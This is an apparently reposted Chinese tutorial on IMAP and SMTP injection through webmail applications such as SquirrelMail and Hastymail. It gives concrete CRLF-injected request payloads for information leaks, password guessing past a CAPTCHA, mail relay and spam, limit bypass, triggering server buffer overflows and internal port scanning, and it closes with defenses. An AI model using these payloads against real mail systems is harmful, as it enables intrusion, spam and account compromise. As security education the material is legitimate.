唐山网站建设

设为主页 加入收藏 繁體中文

如何利用注射技术攻击邮件服务器

核心提示:如何利用注射技术攻击邮件服务器

本文将具体先容通过跟邮件服务器通讯的Web利用程序,即webmail利用来注进某些邮件协议(IMAP和SMTP协议)命令来攻击邮件服务器的原理、方法和防御措施。

1、Webmail利用程序的角色

Webmail利用程序通过IMAP和SMTP协议来治理用户和他们的电子邮件之间的交互。从这1点来讲,Webmail利用充当了客户利用程序和邮件服务器之间的代理角色。这个交互进程首先通过webmail利用程序来发送用户的身份凭证(注册号和口令)。此时,假设IMAP服务器支持使用“login”认证方式的话,那末Webmail利用程序会向IMAP服务器发送以下所示的命令:

AUTH LOGIN

一样,这个利用程序还会将用户的各种动作(如访问邮箱、发送/删除电子邮件、退出邮箱等)转换成相应的IMAP和SMTP命令,然后把这些命令发送给相应的邮件服务器。但是,webmail利用程序的功能有限,所以用户只能天生该利用程序定义的选项所对应的那些IMAP或SMTP命令。但是,用户却有可能改变被发送给邮件服务器的那些IMAP和SMTP命令。

下面,就让我们来看1下这类技术的工作原理吧!

2、邮件服务器注射技术原理

与广为人知的诸如SQL注射、LDAP注射、SSI注射、XPath注射、CRLF注射等注射技术类似,邮件服务器注射技术也是通过1个对用户提供的数据没有严格检查的webmail利用程序将IMAP命令或SMTP命令注射到邮件服务器。当通过webmail利用程序使用的后台邮件服务器没法直接经过Internet访问时,邮件服务器注射技术格外有用。

要向邮件服务器注进命令,条件条件是答利用户通过webmail利用程序访问其端口25(SMTP)和143(IMAP)。

邮件服务器注射来利用1个利用程序的攻击者来讲,他们相当于直接访问了被防火墙隔离的原始电子邮件服务端口(即绕过了防火墙)。通过利用这类技术,攻击者可以进行各式各样的活动和攻击,至于到底能做哪些事情,这要取决于被注进命令的服务器的类型。之所以这样说,是由于Webmail利用会把来自用户的要求转换成各种IMAP和SMTP协议命令。下面先容如何利用这两种协议。

在进行IMAP注射时,注进的命令终极是由IMAP服务器履行的,所以命令必须遵守这个协议的格式和规范。Webmail利用程序为了完成客户要求的操纵,必须跟IMAP服务器进行通讯,这正是它们轻易遭受这类攻击的缘由。在用户验证身份的时候,webmail利用程序将用户的凭证传送到IMAP服务器,因此,利用IMAP服务器的验证机制,无需在该利用程序中具有1个有效帐户便可以够进行IMAP注射。注进IMAP命令之前,用户必须找出跟邮件服务器通讯时所用的所有参数,并弄清楚这些参数跟利用程序的功能的关系,如:

◆认证/登录/退出
◆邮箱操纵(显示、浏览、创建、删除、重命名)
◆消息操纵(浏览、复制、移动、删除)

现在让我们看1个利用消息浏览功能来进行IMAP注射的例子。假定webmail利用程序使用参数“message_id”来寄存用户想要浏览的消息的标识符。当1个包括消息标识符的要求发出时,该要求看起来像下面的模样:

http:///read_email.php?message_id=

假设网页“read_email.php”负责显示有关消息,它直接把要求发给IMAP服务器,而不对用户提供的值做任何检验。这时候发给邮件服务器的命令将是下面的模样:

 


FETCH  BODY[HEADER]  
 

在这类情况下,我们便可以够通过利用程序用来与邮件服务器通讯的参数“message_id”来发动IMAP注射攻击。例如,可以利用以下命令来注进IMAP命令“CAPABILITY”:


http:///read_email.php?message_id=1 BODY[HEADER]%0d%0aZ900 CAPABILITY%0d%0aZ901 FETCH 1  
 

这将导致服务器履行以下IMAP命令:


FETCH 1 BODY[HEADER]
Z900 CAPABILITY
Z901 FETCH 1 BODY[HEADER] 

所以该服务器返回的页面显示的是在IMAP服务器中的“CAPABILITY”命令的结果:

* CAPABILITY IMAP4rev1 CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES
SORT QUOTA ACL ACL2=UNION
Z900 OK CAPABILITY completed 

3、SMTP注射

这里,我们要向SMTP服务器注射命令,所以注进的命令必须遵守SMTP协议。由于这些活动是使用SMTP协议的利用程序所答应的,所以我们基本上就是往模仿发送电子邮件。要利用SMTP注射,用户必须事前通过认证,所以用户必须有1个有效的webmail帐户。

通过SMTP发送电子邮件消息的格式以下:

◆发送方的e-mail地址
◆接收方的e-mail地址
◆主题
◆消息主体
◆附件

下面是1个通过寄存消息主题的参数来进行SMTP注射的例子。

如前所述,这类技术的使用要求用户是经过认证的,并且可以针对发送电子邮件时的webmail参数进行SMTP命令注射。1般的,webmail利用程序会提供给用户1个表单,用户必须在表单中提供必要信息,这些信息将被发送给负责创建发送电子邮件所必须的原始SMTP命令的资源。

发送电子邮件的要求1般以下所示:

POST http:///compose.php HTTP/1.1
...
----------------------------⑴34475172700422922879687252
Content-Disposition: form-data; name="subject"
SMTP Injection Example
----------------------------⑴34475172700422922879687252
...
 

这将导致SMTP服务器履行以下命令:

MAIL FROM:
RCPT TO:
DATA
Subject: SMTP Injection Example
...
 

假设webmail利用程序没有对参数“subject”中的值进行必要的验证,那末攻击者可以在其中注进额外的SMTP命令:

POST http:///compose.php HTTP/1.1
...
----------------------------⑴34475172700422922879687252
Content-Disposition: form-data; name="subject"
SMTP Injection Example
.
MAIL FROM: notexist@external.com
RCPT TO: user@domain.com
DATA
Email data
.
----------------------------⑴34475172700422922879687252
...
 

上面注进的命令将天生1个将被发送给邮件服务器的SMTP命令序列,其中包括MAIL FROM、RCPT TO和DATA等命令,以下所示:
MAIL FROM: 
RCPT TO: 
DATA
Subject: SMTP Injection Example
.
MAIL FROM: notexist@external.com
RCPT TO: user@domain.com
DATA
Email data
.
...

 


4、邮件服务器注射的上风

对邮件函数的注射之前人们就讨论过,但说得最多的还是PHP的mail()函数中的CRLF注射。但是,这些文章直到现在仅对某些部位进行注射,如email头部注射等。这类类型的注射答应1个人进行各种的操纵(发送匿名电子邮件、垃圾邮件/转发等等)。实际上,使用邮件服务器注射技术也能到达这些目的,由于它们都是基于同种类型的弱点。与之相比,邮件服务器注射技术的过人的地方是能向受影响的邮件服务器注射所有命令,而没有任何限制。就是说,这类利用技术不但答应对电子邮件头部进行注进(“From :”、“Subject :”、“To :”等),而且还可以向跟webmail利用程序通讯的邮件服务器(IMAP/SMTP)注进任意的命令。

邮件服务器注射远胜过对webmail利用程序提供的功能的“简单”滥用,例如发送大量电子邮件等。这类技术答应人们履行webmail利用程序提供的常规动作之外的额外的动作,如通过IMAP命令引发邮件服务器的缓冲区溢出等。对渗透测试职员来讲,注进任意的命令是他们梦寐以求的,由于这在某些情况下可以完全控制邮件服务器,以便对其各种弱点进行测试。

5、发动攻击

下面我们用实例来解释不同类型的邮件服务器攻击方法,和邮件服务器注射技术示例。这样的实例曾产生在SquirrelMail(1.2.7和1.4.5版本)和Hastymail(1.0.2和1.5版本)这两种Webmail利用程序上。由于SquirrelMail团队已废除SquirrelMail的1.2.7版本,而推荐的最低版本为1.4.6,由于之前的版本都有弱点。Hastymail在1.5之前的所有版本都轻易遭到SMTP和IMAP注射的影响,所以要常常检查最新的补钉。SquirrelMail和Hastymail团队在收到这些题目的通知后,都迅速进行了修正。不久以后,Nessus发布了1个检查这类弱点的插件。

实行攻击时,必须经过以下两个步骤:

肯定出1个有弱点的参数;

了解它的作用范围。

(1)发现有弱点的参数

辨认有弱点的参数的方法可以采取其他类型注射所采取的方法:摸索法。也就是说,要发送具有异常值(利用程序的非预期值)的要求给原始IMAP和SMTP命令所用到的每个可疑参数,然后分析其行动,从而找出可以利用的参数。下面举例说明。

当用户要访问SquirrelMail中的收件箱(INBOX)时,所用的要求以下所示:

http: //src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox=INBOX

假设用户用以下方式修改参数“mailbox”的值:

http:///src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox=INBOX%22

那末利用程序就会返回1个以下所示的毛病信息:

ERROR : Bad or malformed request.

Query: SELECT "INBOX""

Server responded: Unexpected extra arguments to Select 

明显,这不是该利用程序所期看的正常行动。另外,该消息显示IMAP命令“SELECT”正在被履行。利用这个方法,我们可以推断出参数“mailbox”具有邮件服务器注射漏洞,正确来讲是轻易遭到IMAP注射的攻击。在其他情况下,有弱点的参数的检测和利用没有这么明显。例如,当用户访问它们的Hastymail收件箱时,相应的要求以下所示:

http:///html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=INBOX

假设用户用以下方式修改参数“mailbox”的值:

http:///html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=INBOX"

利用程序将回应以下消息:

Could not access the following folders:

INBOX\"

To check for outside changes to the folder list go to the folders page

在此种情况下,添加引号并没有改变利用程序的行动。结果跟用户已注进其他任何字符时1样:

http:///html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=NOTEXIST

那末利用程序就会返回一样的毛病信息:

Could not access the following folders:

NOTEXIST

To check for outside changes to the folder list go to the folders page

假设用户试图注射其它的IMAP命令:

http:///html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=NOTEXIST

"%0d%0aA0003%20CREATE%20"INBOX.test

那末利用程序就会又返回1个毛病信息:

Unable to perform the requested action

Hastymail said:: A0003 SELECT "INBOX"

And the IMAP server said::

A0003 NO Invalid mailbox name. 

乍1看,仿佛是IMAP注射没法进行。但是,通过使用引号的1种变化情势,我们能够到达目的。下1个例子使用引号的双字符编码情势即%2522,来替换上面的单字符情势:

http:///html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=NOTEXIST%2522%0d%0aA0003%20CREATE%20%2522INBOX.test 
 


在此种情况下,利用程序不但不会返回任何毛病信息,而且还会在收件箱创建文件夹“test”。其它的滥用情形:

◆给参数1个空值,例如“mailbox= ”。
◆用不存在的邮箱的名称来替换某些值,例如“mailbox=NotExists”。
◆给参数添加其它的值,例如“mailbox=INBOX PARAMETER2”
◆添加其它的非标准字符,例如\, ?, @, #, !, |, \n。
◆添加CRLF序列,例如“mailbox=INBOX%0d%0a”。

(2)作用域

1旦检测到了有弱点的参数(IMAP或SMTP命令),必须了解它的作用范围。换句话说,我们需要了解要攻击的命令,以便提供适当的参数来注进我们的IMAP/SMTP命令。

为能够成功使用邮件服务器注射技术,先前的命令必须用CRLF(“%0d%0a”)结束。通过这类方式,该序列用于隔离命令。假设用户能注进1个命令并看到了返回的(由邮件服务器产生的)毛病信息,那末他们必须进1步了解完成的操纵的作用域,这可能像查看他们的内容那末简单。下面举例说明。

当用户读取在SquirrelMail中的电子邮件时,将发出以下要求:

http:///src/read_body.php?mailbox=INBOX&passed_id=1&startMessage=1

&show_more=0

假设用户用以下方式修改参数“passed_id”的值:

http:///src/read_body.php?mailbox=INBOX&passed_id=test&startMessage=1&show_more=0

那末利用程序就会返回1个以下所示的毛病信息:

ERROR : Bad or malformed request.

Query: FETCH test:test BODY[HEADER]

Server responded: Error in IMAP command received by server.


 

用户可以在这里发现以下事实:履行的IMAP命令是“FETCH”,和它使用的各个参数。现在,我们已找到了有弱点的参数并知道了正在被履行命令,所以用户已具有足够的信息来注进额外的命令了:

http:///src/read_body.php?mailbox=INBOX&passed_id=1
BODY [HEADER]%0d%0aZ900 RENAME INBOX ENTRADA%0d%0aZ910 FETCH 1&startMessaGe=1&show_more=0 

这个要求将在服务器上履行以下IMAP命令:

FETCH 1 BODY[HEADER] Z900 RENAME INBOX ENTRADA Z910 FETCH 1 BODY[1]
 

假设用户不能查看毛病信息(即处于“盲注射”情形),那末有关该操纵的信息将摘自用户要求的操纵类型。例如,假设注射通过称为“password”的认证表单的参数来完成的,那末要履行的IMAP命令将是:

AUTH LOGIN

假设注射是通过要求的参数“mailbox”来发动的话,那末IMAP命令的履行情况以下所示:

LIST ""

(3)信息泄漏

采取的技术:IMAP注射

用户认证要求:无

利用IMAP注射可以取得利用其它方法没法获得的IMAP服务器方面的信息。假设用户能将命令“CAPABILITY”注进到参数“mailbox”当中:

http:///src/read_body.php?mailbox=INBOX%22%0d%0aZ900 CAPABILITY%0d%0aZ910 SELECT "INBOX&passed_id=1&startMessage=1&show_more=0

CAPABILITY命令的响应显示了1列服务器支持的功能名称,这些名称由逗号进行间隔。下面我们看1个例子:

* CAPABILITY IMAP4 IMAP4rev1 UIDPLUS IDLE LOGIN-REFERRALS NAMESPACE QUOTA CHILDREN

Z900 OK capabilities listed

* CAPABILITY IMAP4 IMAP4rev1 ACL QUOTA LITERAL+ MAILBOX-REFERRALS NAMESPACE UIDPLUS ID NO_ATOMIC_RENAME UNSELECT CHILDREN MULTIAPPEND SORT THREAD=ORDEREDSUBJECT THREAD=REFERENCES IDLE LISTEXT LIST-SUBSCRIBED ANNOTATEMORE X-NETSCAPE

Z900 OK Completed

* CAPABILITY IMAP4rev1 STARTTLS AUTH=GSSAPI XPIG-LATIN

Z900 OK Completed 

利用该命令,用户可以探测服务器支持的不同认证方式(响应“AUTH=”),制止的登录命令(LOGINDISABLED),添加的支持扩大和IMAP协议的修正等。

由于CAPABILITY命令无需认证便可以够履行,所以在发现1个参数具有IMAP注射漏洞的情况下,总能履行该命令。

(4)绕过CAPTCHA

采取的技术:IMAP注射

用户认证要求:无

利用CAPTCHA查找Web利用非常流行,目标很明显:避免对某些特定的进程实行自动化的攻击。例如,用户注册表单中的CAPTCHA用来禁止1个robot记录用户帐户,或避免自动进行用户调查或口令破解。假设IMAP服务器的验证机制带有IMAP注射漏洞,那末存心不良的用户便可以够通过利用CAPTCHA来突破该限制。

首先,假定认证表单中的“password”字段可以注进IMAP命令。假设攻击者想要打探1个登录名为“victim”、口令为“pwdok”用户的口令,他们可以利用1个字典进行枚举的方法,通过不断发送要求来到达目的。

然后,再假定口令字典有以下词语组成:pwderror1、pwderror2、pwdok和pwderror。这类情况下,用户可以注进以下命令来实行进攻:

http:///src/login.jsp?login=victim&password=%0d%0aZ900 LOGIN victim pwderror1%0d%0aZ910 LOGIN victim pwderror2%0d%0aZ920 LOGIN victim pwdok%0d%0aZ930 LOGIN victim pwderror3 
 

它将导致在IMAP服务器(C:客户真个要求,S:服务器的响应)上运行以下命令:

C: Z900 LOGIN victim pwderror1

S: Z900 NO Login failed: authentication failure

C: Z910 LOGIN victim pwderror2

S: Z910 NO Login failed: authentication failure

C: Z920 LOGIN victim pwdok

S: Z920 OK User logged in

C: Z930 LOGIN victim pwderror3

S: Z930 BAD Already logged in

 

 

所以,假设受害者的口令正好位于所用字典中的话,当最后1次命令注射结束时,攻击者将会发现他们已通过认证了。现在,他们已可以注进和履行只有登录并经过认证的用户才能注进和履行的命令了。

(5)转发

采取的技术:SMTP注射

用户认证要求:有

用户经过webmail利用程序认证后,便可以够编辑并发送电子邮件了。假设参数“subject”具有SMTP注射攻击漏洞。在这类情况下,便可以够导致邮件服务器的转发攻击,例如以下命令将引发来自外部地址的电子邮件被发送到另外1个外部地址:

POST http:///compose.php HTTP/1.1

...

----------------------------⑴34475172700422922879687252

Content-Disposition: form-data; name="subject"

Relay Example

.

MAIL FROM: external@domain1.com

RCPT TO: external@domain2.com

DATA

Relay test

.

----------------------------⑴34475172700422922879687252
...

这会导致向服务器发送以下SMTP命令序列:

MAIL FROM:

RCPT TO:

DATA

Subject: Relay Example

.

MAIL FROM: external@domain1.com

RCPT TO: external@domain2.com

DATA

Relay test

.

... 
(6)垃圾邮件

采取的技术:SMTP注射

用户认证要求:有

这里先容的情形跟前面的转发攻击1样。由于攻击者的目标是尽可能绕开各种限制,例如,1个用户答应发送的电子邮件数目的上限,所以攻击者向有弱点的参数中注进攻击者想要发送的电子邮件数目所需的命令。通过向web服务器发送1个像下面那样的POST要求,攻击者便可以完成很多动作。下面举例说明攻击者如何只用1个简单命令来发送3个电子邮件:

POST http:///compose.php HTTP/1.1

...

----------------------------⑴34475172700422922879687252

Content-Disposition: form-data; name="subject"

SPAM Example

.

MAIL FROM: external@domain1.com

RCPT TO: external@domain2.com

DATA

SPAM test

.

MAIL FROM: external@domain1.com

RCPT TO: external@domain2.com

DATA

SPAM test

.

MAIL FROM: external@domain1.com

RCPT TO: external@domain2.com

DATA

SPAM test

.

----------------------------⑴34475172700422922879687252

...

这将引发以下SMTP命令序列:

MAIL FROM:

RCPT TO:

DATA

Subject: SPAM Example

.

MAIL FROM: external@domain1.com

RCPT TO: external@domain2.com

DATA

SPAM test

.

MAIL FROM: external@domain1.com

RCPT TO: external@domain2.com

DATA

SPAM test

.

MAIL FROM: external@domain1.com

RCPT TO: external@domain2.com

DATA

PAM test

.

... 
(7)绕过各种限制

采取的技术:SMTP注射

用户认证要求:有


这里跟前面的转发和垃圾邮件的情形相1致。在此种情况下,通过注进SMTP命令可以绕过施加在利用程序级别上的各种限制。下面通过1些实例加以说明。

绕过答应发送的电子邮件最大数目的限制

假定1个webmail利用程序只答应发送特定数目的电子邮件,也就是对发送次数有所限制。在SMTP注射的帮助下,我们可以轻松地绕过该限制,方法很简单,只要添加跟攻击者想要发送的目的地址1样多的RCPT命令即可:

POST http:///compose.php HTTP/1.1
----------------------------⑴34475172700422922879687252
Content-Disposition: form-data; name="subject"
Test
.
MAIL FROM: external@domain1.com
RCPT TO: external@domain1.com
RCPT TO: external@domain2.com
RCPT TO: external@domain3.com
RCPT TO: external@domain4.com
Data
Test
.
----------------------------⑴34475172700422922879687252
...
这将导致向邮件服务器发送以下SMTP命令:
MAIL FROM:
RCPT TO:
DATA
Subject: Test
.
MAIL FROM: external@domain.com
RCPT TO: external@domain1.com
RCPT TO: external@domain2.com
RCPT TO: external@domain3.com
RCPT TO: external@domain4.com
DATA
Test . ... 

绕过电子邮件附件的最大值

假定1个webmail利用程序限制了1个电子邮件所带附件的数目,那末我们便可以够通过注射SMTP命令来绕过此限制。下面是1个例子,这里通过有弱点的参数“subject”来附加3个文本文件:

...
----------------------------⑴34475172700422922879687252
Content-Disposition: form-data; name="subject"
Test
.
MAIL FROM: user1@domain1.com RCPT TO: user2@domain2.com DATA
Content-Type: multipart/mixed; boundary=1234567

-⑴234567
Content-type: text/plainContent-Disposition: attachment; filename=1.txt
Example 1
-⑴234567
Content-type: text/plain
Content-Disposition: attachment; filename=2.txt
Example 2
-⑴234567
Content-type: text/plain
Content-Disposition: attachment; filename=3.txt
Example 3
-⑴234567--
.
----------------------------⑴34475172700422922879687252
...

这将导致再次向邮件服务器发送以下SMTP命令:

MAIL FROM:
RCPT TO:
DATA
Subject: Test
.
MAIL FROM: user1@domain1.com
RCPT TO: user2@domain2.com
DATA
Content-Type: multipart/mixed; boundary=1234567
-⑴234567
Content-type: text/plain
Content-Disposition: attachment; filename=1.txt
Example 1
-⑴234567
Content-type: text/plain
Content-Disposition: attachment; filename=2.txt
Example 2
-⑴234567
Content-type: text/plain
Content-Disposition: attachment; filename=3.txt
Example 3
-⑴234567--
.
... 

通过利用所有这些技能,攻击者想发送多少电子邮件便可以发多少,想带多少附件就带多少。

(8)协议弱点的利用

假设能够在邮件服务器中履行任意命令的话,那末攻击者便可以通过向该服务器发送某个命令来利用现有的漏洞。现在举例说明:

针对邮件服务器的DoS攻击

例如MailMax的版本5中的缓冲区溢出,假设在参数SELECT中使用长达256字符的邮箱名称的话,就会导致在邮件服务器中弹出1则消息:“Buffer overrun detected ! -Program :\IMAPMax.exe ”。这时候,服务器会停止,并且必须手动重新启动。

假设webmail的前台页面中的参数“mailbox”具有IMAP注射缺点的话,可以用以下方式利用这个缺点(这要求用户是经过认证的):

http:///src/compose.php?mailbox=INBOX%0d%0aZ900 SELECT "aa...[256]...aa"
 

在邮件服务器中履行任意代码

另1种可利用的例子是IMAP服务器MailEnable。它在命令STATUS中有1个缓冲区溢出漏洞,这使得可以在IMAP服务器中履行任意代码。假设我们发现了1个可以对其“mailbox”参数进行IMAP注射的webmail利用程序,那末我们便可以够利用用以下方式来进行利用(这要求用户已过认证):

http:///src/compose.php?mailbox=INBOX%0d%0aZ900 STATUS (UIDNEXT UIDVALIDITY MESSAGES UNSEEN RECENT)%0d%0a 

扫描内部系统的端口

IMAP服务器UW-IMAP答应任何人利用SELECT命令扫描系统端口,该命令具体情势是:

SELECT " {ip:port} "

下面我们通过1个具体例子来先容如何利用1.4.2版的SquirrelMail对这个弱点进行利用,我们这里假定参数“mailbox”具有IMAP注射漏洞(这个特殊的弱点要求用户是已登录的):

1.要求在系统192.168.0.1中1个打开的端口

http:///src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox={192.168.0.1:80}  

这会天生下来消息:

ERROR : Connection dropped by imap-server.

Query: SELECT "{192.168.0.1:80}"

2.要求在系统192.168.0.1中已封闭的端口(21)

http:///src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox={192.168.0.1:21} 

上面的要求的应对显示了这样1则消息:

ERROR : Could not complete request.

Query: SELECT "{192.168.0.1:21}"

Reason Given: SELECT failed: Connection failed to 192.168.0.1,21: Connection refused

1个存心不良的用户可以从这两个IMAP服务器的应对的差别中推断出所要求的端口的状态。

总之,由于邮件服务器注射技术使得邮件服务器对攻击者或渗透测试职员来讲成为可见的,所以能够利用常规情况下没法利用的漏洞。从web利用程序安全审计员角度来看,发现和利用这些漏洞的能力是1件难得的利器。

(9)IMAP和SMTP注射之间的比较

下面对IMAP和SMTP注射之间进行1些比较,以便读者更好地了解他们之间的辨别。

首先,在是否是要求认证方面,IMAP注射不要求事前经过认证;但是SMTP注射却要求经过认证。

其次,在攻击类型方面,IMAP注射可以发动以下类型的攻击:

◆信息泄漏

◆IMAP协议的利用

◆绕过CAPTCHA

◆SMTP注射可以发动以下类型的攻击:

◆信息泄漏

◆SMTP协议的利用

◆转发/垃圾邮件

◆绕过各种限制

6、防御措施

与其它答利用户(攻击者)注进数据的漏洞的防御措施类似,Webmail利用的保护需要应用其开发队伍提供的各种保护措施。但是,为了下降攻击者利用这些类型弱点的可能性,邮件服务器治理员必须采取更恰当的安全措施以实现深度防御。下面,我们先容1些有效对付这些类型的攻击的措施。

(1)输进数据验证

利用程序用到的所有输进数据,包括非用户直接提供的数据和利用程序内部使用的数据,都必须进行无害化处理,删掉所有可能被恶意使用的字符。在利用数据进行任何操纵之前,必须进行正当性检验。如前所述,在履行1个新的IMAP/SMTP命令时,要求前面的命令必须用CRLF结束。为了确保没法注进额外的命令,您可以在将其传递给邮件服务器之前删除输进数据中的这类字符。

(2)IMAP/SMTP服务器的配置

假设只有通过webmail利用程序才能访问邮件服务器的话,这些服务器必须对国际互联网是不可见的。除此之外,还要对这些服务器进1步加固,比如禁用非尽对必要得命令等等。从而使邮件服务器注射攻击的影响下降到最小程度。

(3)利用程序防火墙

假设我们已用其它的保护系统部署了1个利用程序防火墙,那末可以添加1条规则,来过滤有邮件服务器注射缺点的参数,从而避免这些命令被注进到邮件服务器中。比如,可以将ModSecurity用作利用程序防火墙。根据前面先容的SquirrelMail示例,可以添加以下规则:

SecFilterSelective "ARG_mailbox" "\r\n"

这会过滤掉参数“mailbox”中注进的序列。

7、总结

本文通过两种Webmail利用程序,SquirrelMail和Hastymail,具体先容了对具有邮件服务器注射漏洞的服务器的攻击技术。但是,任何使用SMTP和IMAP协议的利用程序,乃至Webmail利用类型之外的利用程序也都面临这类攻击的要挟。最后,先容了针对这类攻击的防御措施。

唐山网站建设www.fw8.net


TAG:用户,程序,服务器,参数,命令
评论加载中...
内容:
评论者: 验证码: